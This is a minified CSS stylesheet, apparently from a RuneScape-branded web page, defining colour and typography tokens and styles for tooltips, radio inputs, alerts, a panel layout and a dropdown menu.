:root{--breakpoint-xs:320px;--breakpoint-small:480px;--breakpoint-medium:768px;--breakpoint-large:1025px;--breakpoint-xl:1440px;--neutral-white:#fff;--neutral-black:#000;--gold-50:#fff7d9;--gold-100:#ffeabd;--gold-200:#ffda89;--gold-300:#ffca57;--gold-400:#ffba24;--gold-500:#f0a500;--gold-600:#bd8200;--gold-700:#8a5f00;--silver-100:#f2f4f4;--silver-200:#bcbcbc;--silver-300:#8d8987;--silver-400:#575757;--silver-450:#373737;--silver-500:#272727;--silver-550:#1f1f1f;--silver-600:#1a1a1a;--silver-700:#0e0e0e;--brown-100:#dec9ba;--brown-200:#cdae98;--brown-300:#bc9376;--brown-400:#ac7954;--brown-500:#896043;--brown-600:#674832;--brown-700:#453021;--brown-800:#231811;--cream-100:#ede7d9;--cream-200:#ded3b7;--cream-300:#cdbd93;--cream-400:#bda770;--cream-500:#ab914f;--cream-600:#88743f;--cream-700:#65562e;--green-100:#ccffe3;--green-300:#66ffac;--green-400:#00cc5e;--green-700:#00662f;--green-900:#00662f;--red-100:#ffe6ea;--red-200:#fd6882;--red-300:#ff7e95;--red-400:#96021c;--red-700:#4b010e;--blue-100:#d1ecff;--blue-400:#66beff;--blue-700:#005b9e;--blue-800:#002c4d;--yellow-100:#f8f6af;--yellow-400:#ecde20;--yellow-800:#5e5808;--brand-gold:#ffda89;--brand-silver-100:#f2f4f4;--brand-silver-300:#8d8987;--brand-brown:#ac7954;--brand-cream:#ded3b7;--text-brand:#ffda89;--text-primary:#f2f4f4;--text-secondary:#ded3b7;--text-reverse:#1a1a1a;--text-action:#ffca57;--text-hover:#fff7d9;--text-placeholder:#bcbcbc;--text-disabled:#575757;--text-highlight:#cdae98;--text-link-hover:#fff7d9;--text-status-primary:#fff;--text-status-on-error-secondary:#fd6882;--surface-sunken-primary:#1a1a1a;--surface-paper-elevation-2:#272727;--surface-background-3:#373737;--surface-status-error-primary:#96021c;--surface-status-error-secondary:#fd6882;--surface-status-error-soft:#ffe6ea;--surface-status-info-primary:#005b9e;--surface-status-info-secondary:#66beff;--surface-status-info-soft:#d1ecff;--surface-status-success-primary:#00662f;--surface-status-success-secondary:#00cc5e;--surface-status-success-soft:#ccffe3;--surface-status-warning-primary:#ecde20;--surface-status-warning-secondary:#ecde20;--surface-status-warning-soft:#f8f6af;--border-default:#cdae98;--border-active:#ffda89;--border-hover:#fff7d9;--border-focus:#f0a500;--border-status-error-default:#ff7e95;--border-status-error-hover-input:#fd6882;--border-dark:#373737;--icon-primary:#ac7954;--icon-hover:#fff7d9;--icon-active:#ffca57;--gradient-gold-vertical-up:linear-gradient(180deg,var(--border-active) 0%,var(--icon-primary) 100%);--gradient-gold-vertical-down:linear-gradient(180deg,var(--icon-primary) 0%,var(--border-active) 100%);--gradient-gold-horizontal-centre:linear-gradient(270deg,var(--icon-primary) 0%,var(--border-active) 50%,var(--icon-primary) 100%);--gradient-gold-horizontal-left:linear-gradient(270deg,var(--icon-primary) 0%,var(--border-active) 100%);--gradient-gold-horizontal-right:linear-gradient(270deg,var(--border-active) 0%,var(--icon-primary) 100%);--gradient-silver-vertical-up:linear-gradient(180deg,var(--text-primary) 0%,var(--brand-silver-300) 100%);--gradient-silver-vertical-down:linear-gradient(180deg,var(--brand-silver-300) 0%,var(--text-primary) 100%);--gradient-silver-vertical-mid:linear-gradient(180deg,var(--text-disabled) 0%,var(--surface-paper-elevation-2) 100%);--gradient-silver-vertical-dark:linear-gradient(180deg,var(--surface-paper-elevation-2) 0%,var(--surface-sunken-primary) 100%);--gradient-silver-vertical-default:linear-gradient(180deg,#d9d9d9 0%,#737373 100%);--gradient-green-default:linear-gradient(180deg,var(--surface-status-success-soft) 0%,var(--surface-status-success-secondary) 100%);--gradient-brown-vertical-up:linear-gradient(180deg,var(--icon-primary) -76.14%,var(--brown-600) 100%);--gradient-border-dark:linear-gradient(180deg,var(--border-dark) 0%,var(--surface-paper-elevation-2) 100%);--gradient-border-hover:linear-gradient(260deg,var(--icon-hover) 57.15%,rgba(255,247,217,.2) 94.12%);--size-100-px:8px;--size-100-rem:.5rem;--size-200-px:12px;--size-200-rem:.75rem;--size-250-px:14px;--size-250-rem:.875rem;--size-300-px:16px;--size-300-rem:1rem;--size-350-px:18px;--size-350-rem:1.125rem;--size-400-px:20px;--size-400-rem:1.25rem;--size-500-px:24px;--size-500-rem:1.5rem;--size-550-px:28px;--size-550-rem:1.75rem;--size-600-px:32px;--size-600-rem:2rem;--size-700-px:40px;--size-700-rem:2.5rem;--size-800-px:48px;--size-800-rem:3rem;--size-900-px:56px;--size-900-rem:3.5rem;--size-1000-px:64px;--size-1000-rem:4rem;--size-1100-px:72px;--size-1100-rem:4.5rem;--size-1200-px:80px;--size-1200-rem:5rem;--size-1300-px:88px;--size-1300-rem:5.5rem;--size-2000-px:128px;--size-2000-rem:8rem;--size-2600-px:176px;--size-2600-rem:11rem;--size-000-px:0px;--size-000-rem:0rem;--size-025-px:2px;--size-025-rem:.125rem;--size-050-px:4px;--size-050-rem:.25rem;--size-075-px:6px;--size-075-rem:.375rem;--size-global-text-max-width-px:1200px;--size-global-text-max-width-rem:75rem;--size-global-content-max-width-px:1600px;--size-global-content-max-width-rem:100rem;--size-global-decoration-max-width-px:3440px;--size-global-decoration-max-width-rem:215rem;--font-family-trajan:"trajan-sans-pro",sans-serif;--font-family-sofia:"Sofia Sans",sans-serif;--typography-display-font:var(--font-family-trajan);--typography-display-case:uppercase;--typography-display-tracking:.03em;--typography-display-size:2.5rem;--typography-display-line-height:3rem;--typography-h1-font:var(--font-family-trajan);--typography-h1-case:uppercase;--typography-h1-tracking:.03em;--typography-h1-size:2rem;--typography-h1-line-height:2.5rem;--typography-h2-primary-font:var(--font-family-trajan);--typography-h2-primary-case:uppercase;--typography-h2-primary-tracking:.03em;--typography-h2-primary-size:1.5rem;--typography-h2-primary-line-height:2rem;--typography-h3-primary-font:var(--font-family-trajan);--typography-h3-primary-case:uppercase;--typography-h3-primary-tracking:.03em;--typography-h3-primary-size:1.25rem;--typography-h3-primary-line-height:1.5rem;--typography-h4-primary-font:var(--font-family-trajan);--typography-h4-primary-case:uppercase;--typography-h4-primary-tracking:.015em;--typography-h4-primary-size:1.5rem;--typography-h4-primary-line-height:1.75rem;--typography-h5-primary-font:var(--font-family-trajan);--typography-h5-primary-case:uppercase;--typography-h5-primary-tracking:.015em;--typography-h5-primary-size:1rem;--typography-h5-primary-line-height:1.25rem;--typography-h2-secondary-font:var(--font-family-sofia);--typography-h2-secondary-case:none;--typography-h2-secondary-tracking:.015em;--typography-h2-secondary-size:1.5rem;--typography-h2-secondary-line-height:2rem;--typography-h3-secondary-font:var(--font-family-sofia);--typography-h3-secondary-case:none;--typography-h3-secondary-tracking:.015em;--typography-h3-secondary-size:1.25rem;--typography-h3-secondary-line-height:1.5rem;--typography-h4-secondary-font:var(--font-family-sofia);--typography-h4-secondary-case:none;--typography-h4-secondary-tracking:.03em;--typography-h4-secondary-size:1.5rem;--typography-h4-secondary-line-height:1.75rem;--typography-h5-secondary-font:var(--font-family-sofia);--typography-h5-secondary-case:none;--typography-h5-secondary-tracking:.015em;--typography-h5-secondary-size:1rem;--typography-h5-secondary-line-height:1.25rem;--typography-body-l-font:var(--font-family-sofia);--typography-body-l-case:none;--typography-body-l-tracking:normal;--typography-body-l-size:1.25rem;--typography-body-l-line-height:1.5rem;--typography-body-m-font:var(--font-family-sofia);--typography-body-m-case:none;--typography-body-m-tracking:normal;--typography-body-m-size:1.125rem;--typography-body-m-line-height:1.5rem;--typography-body-s-font:var(--font-family-sofia);--typography-body-s-case:none;--typography-body-s-tracking:normal;--typography-body-s-size:1rem;--typography-body-s-line-height:1.25rem;--typography-body-xs-font:var(--font-family-sofia);--typography-body-xs-case:none;--typography-body-xs-tracking:normal;--typography-body-xs-size:.875rem;--typography-body-xs-line-height:1.125rem;--typography-link-xl-font:var(--font-family-sofia);--typography-link-xl-case:none;--typography-link-xl-tracking:.015em;--typography-link-xl-size:1.5rem;--typography-link-xl-line-height:2rem;--typography-link-l-font:var(--font-family-sofia);--typography-link-l-case:none;--typography-link-l-tracking:.015em;--typography-link-l-size:1.25rem;--typography-link-l-line-height:1.5rem;--typography-link-m-font:var(--font-family-sofia);--typography-link-m-case:none;--typography-link-m-tracking:.015em;--typography-link-m-size:1.125rem;--typography-link-m-line-height:1.5rem;--typography-link-s-font:var(--font-family-sofia);--typography-link-s-case:none;--typography-link-s-tracking:.015em;--typography-link-s-size:1rem;--typography-link-s-line-height:1.25rem;--typography-link-xs-font:var(--font-family-sofia);--typography-link-xs-case:none;--typography-link-xs-tracking:.015em;--typography-link-xs-size:.875rem;--typography-link-xs-line-height:1.125rem;--typography-button-l-font:var(--font-family-trajan);--typography-button-l-case:uppercase;--typography-button-l-tracking:.03em;--typography-button-l-size:2rem;--typography-button-l-line-height:2rem;--typography-button-md-font:var(--font-family-sofia);--typography-button-md-case:none;--typography-button-md-tracking:.03em;--typography-button-md-size:1.5rem;--typography-button-md-line-height:1.5rem;--typography-label-text-font:var(--font-family-sofia);--typography-label-text-case:none;--typography-label-text-tracking:normal;--typography-label-text-size:1rem;--typography-label-text-line-height:1rem} .display{font-family:var(--typography-display-font);text-transform:var(--typography-display-case);letter-spacing:var(--typography-display-tracking);font-size:var(--typography-display-size);line-height:var(--typography-display-line-height)} .h1{font-family:var(--typography-h1-font);text-transform:var(--typography-h1-case);letter-spacing:var(--typography-h1-tracking);font-size:var(--typography-h1-size);line-height:var(--typography-h1-line-height)} .h2-primary{font-family:var(--typography-h2-primary-font);text-transform:var(--typography-h2-primary-case);letter-spacing:var(--typography-h2-primary-tracking);font-size:var(--typography-h2-primary-size);line-height:var(--typography-h2-primary-line-height)} .h3-primary{font-family:var(--typography-h3-primary-font);text-transform:var(--typography-h3-primary-case);letter-spacing:var(--typography-h3-primary-tracking);font-size:var(--typography-h3-primary-size);line-height:var(--typography-h3-primary-line-height)} .h4-primary{font-family:var(--typography-h4-primary-font);text-transform:var(--typography-h4-primary-case);letter-spacing:var(--typography-h4-primary-tracking);font-size:var(--typography-h4-primary-size);line-height:var(--typography-h4-primary-line-height)} .h5-primary{font-family:var(--typography-h5-primary-font);text-transform:var(--typography-h5-primary-case);letter-spacing:var(--typography-h5-primary-tracking);font-size:var(--typography-h5-primary-size);line-height:var(--typography-h5-primary-line-height)} .h2-secondary{font-family:var(--typography-h2-secondary-font);text-transform:var(--typography-h2-secondary-case);letter-spacing:var(--typography-h2-secondary-tracking);font-size:var(--typography-h2-secondary-size);line-height:var(--typography-h2-secondary-line-height)} .h3-secondary{font-family:var(--typography-h3-secondary-font);text-transform:var(--typography-h3-secondary-case);letter-spacing:var(--typography-h3-secondary-tracking);font-size:var(--typography-h3-secondary-size);line-height:var(--typography-h3-secondary-line-height)} .h4-secondary{font-family:var(--typography-h4-secondary-font);text-transform:var(--typography-h4-secondary-case);letter-spacing:var(--typography-h4-secondary-tracking);font-size:var(--typography-h4-secondary-size);line-height:var(--typography-h4-secondary-line-height)} .h5-secondary{font-family:var(--typography-h5-secondary-font);text-transform:var(--typography-h5-secondary-case);letter-spacing:var(--typography-h5-secondary-tracking);font-size:var(--typography-h5-secondary-size);line-height:var(--typography-h5-secondary-line-height)} .body-l{font-family:var(--typography-body-l-font);text-transform:var(--typography-body-l-case);letter-spacing:var(--typography-body-l-tracking);font-size:var(--typography-body-l-size);line-height:var(--typography-body-l-line-height)} .body-m{font-family:var(--typography-body-m-font);text-transform:var(--typography-body-m-case);letter-spacing:var(--typography-body-m-tracking);font-size:var(--typography-body-m-size);line-height:var(--typography-body-m-line-height)} .body-s{font-family:var(--typography-body-s-font);text-transform:var(--typography-body-s-case);letter-spacing:var(--typography-body-s-tracking);font-size:var(--typography-body-s-size);line-height:var(--typography-body-s-line-height)} .body-xs{font-family:var(--typography-body-xs-font);text-transform:var(--typography-body-xs-case);letter-spacing:var(--typography-body-xs-tracking);font-size:var(--typography-body-xs-size);line-height:var(--typography-body-xs-line-height)} .link-xl{font-family:var(--typography-link-xl-font);text-transform:var(--typography-link-xl-case);letter-spacing:var(--typography-link-xl-tracking);font-size:var(--typography-link-xl-size);line-height:var(--typography-link-xl-line-height)} .link-l{font-family:var(--typography-link-l-font);text-transform:var(--typography-link-l-case);letter-spacing:var(--typography-link-l-tracking);font-size:var(--typography-link-l-size);line-height:var(--typography-link-l-line-height)} .link-m{font-family:var(--typography-link-m-font);text-transform:var(--typography-link-m-case);letter-spacing:var(--typography-link-m-tracking);font-size:var(--typography-link-m-size);line-height:var(--typography-link-m-line-height)} .link-s{font-family:var(--typography-link-s-font);text-transform:var(--typography-link-s-case);letter-spacing:var(--typography-link-s-tracking);font-size:var(--typography-link-s-size);line-height:var(--typography-link-s-line-height)} .link-xs{font-family:var(--typography-link-xs-font);text-transform:var(--typography-link-xs-case);letter-spacing:var(--typography-link-xs-tracking);font-size:var(--typography-link-xs-size);line-height:var(--typography-link-xs-line-height)} .button-l{font-family:var(--typography-button-l-font);text-transform:var(--typography-button-l-case);letter-spacing:var(--typography-button-l-tracking);font-size:var(--typography-button-l-size);line-height:var(--typography-button-l-line-height)} .button-md{font-family:var(--typography-button-md-font);text-transform:var(--typography-button-md-case);letter-spacing:var(--typography-button-md-tracking);font-size:var(--typography-button-md-size);line-height:var(--typography-button-md-line-height)} .label-text{font-family:var(--typography-label-text-font);text-transform:var(--typography-label-text-case);letter-spacing:var(--typography-label-text-tracking);font-size:var(--typography-label-text-size);line-height:var(--typography-label-text-line-height)} :root{--asset-corner:url("assets/asset_9b977fc4.svg");--asset-distressed:url("assets/asset_032ee3c6.png");--asset-distressed-seamless:url("assets/asset_24c1a32c.png");--background-texture-distressed-background-size:80px 80px;--background-texture-distressed-background-repeat:repeat;--background-texture-distressed-mix-blend-mode:overlay;--background-texture-distressed-opacity:.4;--background-texture-distressed-seamless-background-size:240px 240px;--background-texture-distressed-seamless-background-repeat:repeat;--background-texture-distressed-seamless-mix-blend-mode:overlay;--background-texture-distressed-seamless-opacity:.4;--background-cta-primary-default:linear-gradient(180deg,#ffda89 0%,#ac7954 100%);--background-cta-primary-hover:linear-gradient(180deg,#ded3b7 0%,#bda770 100%);--background-cta-primary-active:linear-gradient(180deg,#ffda89 0.25%,#896043 106.86%);--background-cta-secondary-default:radial-gradient(42.22% 25.68% at 50% 100%,rgba(247,218,150,.1) 0%,rgba(247,218,150,0) 100%),radial-gradient(47.78% 29.05% at 50% 0%,rgba(247,218,150,.1) 0%,rgba(247,218,150,0) 100%),#272727;--background-cta-selector-selected:radial-gradient(50% 50% at 50% 50%,rgba(255,255,255,.1) 10%,rgba(141,141,141,0) 100%),linear-gradient(0deg,rgba(242,109,0,.2) 0%,rgba(242,109,0,.2) 100%);--background-cta-selector-active:linear-gradient(0deg,rgba(0,0,0,.6) 0%,rgba(0,0,0,.6) 100%)} @media (prefers-reduced-motion:reduce){*,:before,:after{scroll-behavior:auto!important;transition-duration:0s!important;animation-duration:0s!important;animation-iteration-count:1!important}} html,body{margin:0;padding:0} button,input,textarea{margin:0;padding:0;line-height:1} h1,h2,h3,h4,h5,h6,p{margin:0} ._image_14gud_1{-o-object-fit:cover;object-fit:cover;-o-object-position:var(--object-position-base,50% 50%);object-position:var(--object-position-base,50% 50%)} @media (min-width:320px){._image_14gud_1{-o-object-position:var(--object-position-xs,var(--object-position-base,50% 50%));object-position:var(--object-position-xs,var(--object-position-base,50% 50%))}} @media (min-width:480px){._image_14gud_1{-o-object-position:var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%)));object-position:var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%)))}} @media (min-width:768px){._image_14gud_1{-o-object-position:var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%))));object-position:var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%))))}} @media (min-width:1025px){._image_14gud_1{-o-object-position:var(--object-position-large,var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%)))));object-position:var(--object-position-large,var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%)))))}} @media (min-width:1440px){._image_14gud_1{-o-object-position:var(--object-position-xl,var(--object-position-large,var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%))))));object-position:var(--object-position-xl,var(--object-position-large,var(--object-position-medium,var(--object-position-small,var(--object-position-xs,var(--object-position-base,50% 50%))))))}} :root{--neutral-white:#fff;--neutral-black:#000;--gold-50:#fff7d9;--gold-100:#ffeabd;--gold-200:#ffda89;--gold-300:#ffca57;--gold-400:#ffba24;--gold-500:#f0a500;--gold-600:#bd8200;--gold-700:#8a5f00;--silver-100:#f2f4f4;--silver-200:#bcbcbc;--silver-300:#8d8987;--silver-400:#575757;--silver-450:#373737;--silver-500:#272727;--silver-550:#1f1f1f;--silver-600:#1a1a1a;--silver-700:#0e0e0e;--brown-100:#dec9ba;--brown-200:#cdae98;--brown-300:#bc9376;--brown-400:#ac7954;--brown-500:#896043;--brown-600:#674832;--brown-700:#453021;--brown-800:#231811;--cream-100:#ede7d9;--cream-200:#ded3b7;--cream-300:#cdbd93;--cream-400:#bda770;--cream-500:#ab914f;--cream-600:#88743f;--cream-700:#65562e;--green-100:#ccffe3;--green-300:#66ffac;--green-400:#00cc5e;--green-700:#00662f;--green-900:#00662f;--red-100:#ffe6ea;--red-200:#fd6882;--red-300:#ff7e95;--red-400:#96021c;--red-700:#4b010e;--blue-100:#d1ecff;--blue-400:#66beff;--blue-700:#005b9e;--blue-800:#002c4d;--yellow-100:#f8f6af;--yellow-400:#ecde20;--yellow-800:#5e5808;--brand-gold:#ffda89;--brand-silver-100:#f2f4f4;--brand-silver-300:#8d8987;--brand-brown:#ac7954;--brand-cream:#ded3b7;--text-brand:#ffda89;--text-primary:#f2f4f4;--text-secondary:#ded3b7;--text-reverse:#1a1a1a;--text-action:#ffca57;--text-hover:#fff7d9;--text-placeholder:#bcbcbc;--text-disabled:#575757;--text-highlight:#cdae98;--text-link-hover:#fff7d9;--text-status-primary:#fff;--text-status-on-error-secondary:#fd6882;--surface-sunken-primary:#1a1a1a;--surface-paper-elevation-2:#272727;--surface-background-3:#373737;--surface-status-error-primary:#96021c;--surface-status-error-secondary:#fd6882;--surface-status-error-soft:#ffe6ea;--surface-status-info-primary:#005b9e;--surface-status-info-secondary:#66beff;--surface-status-info-soft:#d1ecff;--surface-status-success-primary:#00662f;--surface-status-success-secondary:#00cc5e;--surface-status-success-soft:#ccffe3;--surface-status-warning-primary:#ecde20;--surface-status-warning-secondary:#ecde20;--surface-status-warning-soft:#f8f6af;--border-default:#cdae98;--border-active:#ffda89;--border-hover:#fff7d9;--border-focus:#f0a500;--border-status-error-default:#ff7e95;--border-status-error-hover-input:#fd6882;--border-dark:#373737;--icon-primary:#ac7954;--icon-hover:#fff7d9;--icon-active:#ffca57;--focus-border-border-outline:2px solid #f0a500;--focus-border-border-outline-offset:2px;--font-family-trajan:"trajan-sans-pro",sans-serif;--font-family-sofia:"Sofia Sans",sans-serif} ._root_p5eia_1{-o-object-fit:cover;object-fit:cover;max-width:100%} ._root_1ch89_1{cursor:pointer;align-items:flex-start;gap:.5rem;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;display:inline-flex;position:relative} ._root_1ch89_1:has(._input_1ch89_10:disabled){opacity:.5;cursor:not-allowed} ._input_1ch89_10{box-sizing:border-box;cursor:pointer;-webkit-appearance:none;-moz-appearance:none;appearance:none;height:var(--size-500-rem);width:var(--size-500-rem);border:1px solid var(--border-default);background:var(--surface-sunken-primary);border-radius:50%;flex-shrink:0;margin-top:13px} ._input_1ch89_10:disabled{cursor:not-allowed} ._input_1ch89_10[type=radio]:checked{border-color:var(--brand-gold);background:linear-gradient(180deg,var(--green-100) 0%,var(--green-400) 100%);box-shadow:inset 0 0 0 6px var(--surface-sunken-primary)} ._input_1ch89_10:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._input_1ch89_10:hover:not(:-webkit-any(:disabled,:checked)){border:1px solid var(--border-hover)} ._input_1ch89_10:hover:not(:-moz-any(:disabled,:checked)){border:1px solid var(--border-hover)} ._input_1ch89_10:hover:not(:is(:disabled,:checked)){border:1px solid var(--border-hover)} ._root_ah40z_1{--beak-size:var(--size-200-rem);--beak-edge-offset:var(--size-500-rem);--tooltip-content-min-width:fit-content;--tooltip-content-width:var(--size-2000-rem);--tooltip-content-max-width:calc(3 * var(--size-1200-rem));--tooltip-z-index:5;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;z-index:var(--tooltip-z-index);display:inline-flex;position:relative} ._trigger-wrapper_ah40z_15{vertical-align:top;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;display:inline-flex;position:relative} ._icon-trigger_ah40z_22{min-width:var(--size-500-rem);min-height:var(--size-500-rem);border-radius:var(--size-050-rem);cursor:pointer;--mask-icon-color:var(--border-default);color:var(--border-default);background:0 0;border:none;justify-content:center;align-items:center;padding:0;transition:color .2s cubic-bezier(0,0,.2,1);display:inline-flex} ._icon-trigger_ah40z_22:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._icon-trigger_ah40z_22:disabled{cursor:not-allowed;opacity:.5} ._icon-trigger_ah40z_22:hover:not(:disabled){--mask-icon-color:var(--border-hover);color:var(--border-hover)} ._root_ah40z_1[data-align=start]{--beak-inline-position:var(--beak-edge-offset);--beak-block-position:var(--beak-edge-offset)} ._root_ah40z_1[data-align=center]{--beak-inline-position:50%;--beak-block-position:50%} ._root_ah40z_1[data-align=end]{--beak-inline-position:calc(100% - var(--beak-edge-offset));--beak-block-position:calc(100% - var(--beak-edge-offset))} ._root_ah40z_1[data-side=top]{padding-top:var(--size-100-rem)} ._root_ah40z_1[data-side=bottom]{padding-bottom:var(--size-100-rem)} ._root_ah40z_1[data-side=left]{padding-left:var(--size-100-rem)} ._root_ah40z_1[data-side=right]{padding-right:var(--size-100-rem)} ._bubble_ah40z_87{box-sizing:border-box;width:auto;min-width:calc(var(--tooltip-content-min-width) + (2 * var(--size-200-rem)));max-width:100%;max-height:100%;padding:var(--size-100-rem) var(--size-200-rem);border:1px solid var(--brown-100);border-radius:var(--size-100-rem);background:var(--brown-100);z-index:1;display:inline-flex;position:relative;overflow:auto} ._content_ah40z_103{width:var(--tooltip-content-width);min-width:var(--tooltip-content-min-width);max-width:min(100%,var(--tooltip-content-max-width));overflow-wrap:break-word;color:var(--text-reverse);display:block} ._root_ah40z_1[data-viewport-clamped=true] ._content_ah40z_103{min-width:0} ._beak_ah40z_116{width:var(--beak-size);height:var(--beak-size);background:var(--brown-100);z-index:0;pointer-events:none;display:block;position:absolute;transform:translate(-50%,-50%)rotate(45deg)} ._root_ah40z_1[data-side=top] ._beak_ah40z_116,._root_ah40z_1[data-side=bottom] ._beak_ah40z_116{left:var(--beak-inline-position)} ._root_ah40z_1[data-side=left] ._beak_ah40z_116,._root_ah40z_1[data-side=right] ._beak_ah40z_116{top:var(--beak-block-position)} ._root_ah40z_1[data-side=top] ._beak_ah40z_116{top:var(--size-100-rem)} ._root_ah40z_1[data-side=bottom] ._beak_ah40z_116{top:calc(100% - var(--size-100-rem))} ._root_ah40z_1[data-side=right] ._beak_ah40z_116{left:calc(100% - var(--size-100-rem))} ._root_ah40z_1[data-side=left] ._beak_ah40z_116{left:var(--size-100-rem)} ._root_1hoq4_1{width:100%;margin:0 auto;position:relative} ._root_s2fcg_1{justify-content:center;align-items:center;width:100%;max-width:100%;min-height:100vh;padding:0;display:flex;position:relative} ._panel-layout_s2fcg_12{padding-top:var(--size-500-rem);gap:var(--size-500-rem);flex-direction:column;flex:1;width:100%;display:flex} ._content_s2fcg_21{z-index:1} ._panel-top_s2fcg_25{gap:var(--size-100-rem);flex-direction:column;display:flex} ._panel_s2fcg_12{flex-direction:column;display:flex} ._bottom-panel_s2fcg_36{padding-top:var(--size-500-rem);flex-direction:column;margin-top:auto;display:flex} ._background_s2fcg_43{width:100%;min-height:100%;padding:0;position:absolute;top:0;bottom:0;left:0;right:0} ._runescape-franchise-logo_s2fcg_51{height:var(--size-2600-rem);margin:0 var(--size-600-rem) 0 var(--size-700-rem);padding-top:var(--size-100-rem);z-index:1;flex-direction:column;justify-content:center;align-self:center;align-items:center;width:14rem;display:flex} @media (min-width:608px){._runescape-franchise-logo_s2fcg_51{height:var(--size-1300-rem);margin:0 var(--size-600-rem) 0 var(--size-700-rem)}} ._insert_s2fcg_71{box-sizing:border-box;width:100%;padding:var(--size-300-rem);gap:var(--size-300-rem);border-radius:var(--size-200-rem);border:1px solid var(--surface-sunken-primary);background:var(--surface-paper-elevation-2);flex-direction:row;justify-content:center;align-items:center;display:flex} ._social-root_s2fcg_85{gap:var(--size-300-rem);margin-top:var(--size-100-rem);margin-bottom:var(--size-100-rem);flex-direction:column;display:flex} ._social-title_s2fcg_93{align-items:center;gap:var(--size-300-rem);width:100%;display:inline-flex} ._social-title_s2fcg_93>*{margin:0} ._social-title_s2fcg_93:before,._social-title_s2fcg_93:after{content:"";border-top:1px solid var(--brand-silver-300);flex:1;align-self:center;height:0} ._social-container_s2fcg_113{justify-content:center;gap:var(--size-600-rem);flex-wrap:wrap;align-self:stretch} ._root_1cmvg_1{--alert-background:var(--surface-status-error-primary);--alert-border:transparent;--alert-foreground:var(--neutral-white);--alert-content-gap:var(--size-300-rem);--alert-content-alignment:flex-start;--alert-message-padding-top:calc((var(--size-500-rem) - var(--typography-body-s-line-height)) / 2);box-sizing:border-box;align-items:flex-start;gap:var(--size-300-rem);width:100%;padding:var(--size-300-rem);border:1px solid var(--alert-border);border-radius:var(--size-100-rem);background:var(--alert-background);color:var(--alert-foreground);display:flex} ._root_1cmvg_1[data-variant=primary][data-tone=error]{--alert-background:var(--surface-status-error-primary);--alert-foreground:var(--neutral-white)} ._root_1cmvg_1[data-variant=primary][data-tone=info]{--alert-background:var(--surface-status-info-primary);--alert-foreground:var(--neutral-white)} ._root_1cmvg_1[data-variant=primary][data-tone=warning]{--alert-background:var(--surface-status-warning-primary);--alert-foreground:var(--neutral-black)} ._root_1cmvg_1[data-variant=primary][data-tone=success]{--alert-background:var(--surface-status-success-primary);--alert-foreground:var(--neutral-white)} ._root_1cmvg_1[data-variant=secondary][data-tone=error]{--alert-background:var(--surface-status-error-soft);--alert-border:var(--surface-status-error-secondary);--alert-foreground:var(--neutral-black)} ._root_1cmvg_1[data-variant=secondary][data-tone=info]{--alert-background:var(--surface-status-info-soft);--alert-border:var(--surface-status-info-secondary);--alert-foreground:var(--neutral-black)} ._root_1cmvg_1[data-variant=secondary][data-tone=warning]{--alert-background:var(--surface-status-warning-soft);--alert-border:var(--surface-status-warning-secondary);--alert-foreground:var(--neutral-black)} ._root_1cmvg_1[data-variant=secondary][data-tone=success]{--alert-background:var(--surface-status-success-soft);--alert-border:var(--surface-status-success-secondary);--alert-foreground:var(--neutral-black)} ._root_1cmvg_1[data-variant=inline]{--alert-content-gap:var(--size-100-rem);--alert-message-padding-top:0;background:0 0;border:none;width:auto;padding:0;display:inline-flex} ._root_1cmvg_1[data-variant=inline][data-tone=error]{--alert-foreground:var(--surface-status-error-secondary)} ._root_1cmvg_1[data-variant=inline][data-tone=info]{--alert-foreground:var(--surface-status-info-primary)} ._root_1cmvg_1[data-variant=inline][data-tone=warning]{--alert-foreground:var(--surface-status-warning-primary)} ._root_1cmvg_1[data-variant=inline][data-tone=success]{--alert-foreground:var(--surface-status-success-primary)} ._content_1cmvg_94{align-items:var(--alert-content-alignment);gap:var(--alert-content-gap);flex:auto;min-width:0;display:flex} ._message_1cmvg_102{min-width:0;padding-top:var(--alert-message-padding-top)} ._dismiss-button_1cmvg_107{border-radius:var(--size-050-rem);cursor:pointer;background:0 0;border:0;flex-shrink:0;justify-content:center;align-items:center;display:inline-flex} ._dismiss-icon_1cmvg_118{--mask-icon-color:var(--alert-foreground);--mask-icon-size:var(--size-500-rem);display:inline-flex} ._dismiss-button_1cmvg_107:active ._dismiss-icon_1cmvg_118{opacity:.5} ._dismiss-button_1cmvg_107:focus-visible{outline:var(--focus-border-border-outline);outline-offset:var(--focus-border-border-outline-offset)} ._toast_1cmvg_134{z-index:var(--z-index-toast,5000);position:fixed;bottom:0;left:50%;transform:translate(-50%)} @media (min-width:480px){._toast_1cmvg_134{bottom:var(--size-500-rem,1.5rem);width:calc(100vw - 2rem);max-width:520px}} ._dropdown_1ds3v_1{--dropdown-min-width:180px;justify-content:flex-end;height:100%;display:flex;position:relative} ._trigger_1ds3v_10{all:unset;align-items:center;gap:var(--size-200-rem,12px);padding:0 0 0 var(--size-200-rem,12px);background:var(--dropdown-trigger-bg,var(--silver-450));font:inherit;color:var(--gold-500,inherit);cursor:pointer;height:100%;min-width:var(--dropdown-min-width);transition:background .8s,color .8s;display:flex} ._item_1ds3v_25 *{transition:background .5s,color .5s} ._trigger_1ds3v_10:hover,._trigger_1ds3v_10:hover *{transition:background .8s,color .8s;color:var(--gold-100)!important} ._arrow_1ds3v_35{font-size:10px;transition:transform .2s;display:inline-block} ._arrow-open_1ds3v_41{transform:rotate(90deg)} ._menu_1ds3v_45{min-width:var(--dropdown-min-width);z-index:2;background:var(--silver-450,#fff);border:1px solid var(--silver-450,#e0e0e0);transform-origin:top;border-radius:0 0 var(--size-200-rem,12px) var(--size-200-rem,12px);box-shadow:0 -1px 0 0 var(--silver-700,#0e0e0e) inset;padding:0;list-style:none;transition:transform .4s,opacity .4s;position:absolute;top:100%;overflow:hidden} ._menu-open_1ds3v_61{opacity:1;transform:scaleY(1)} 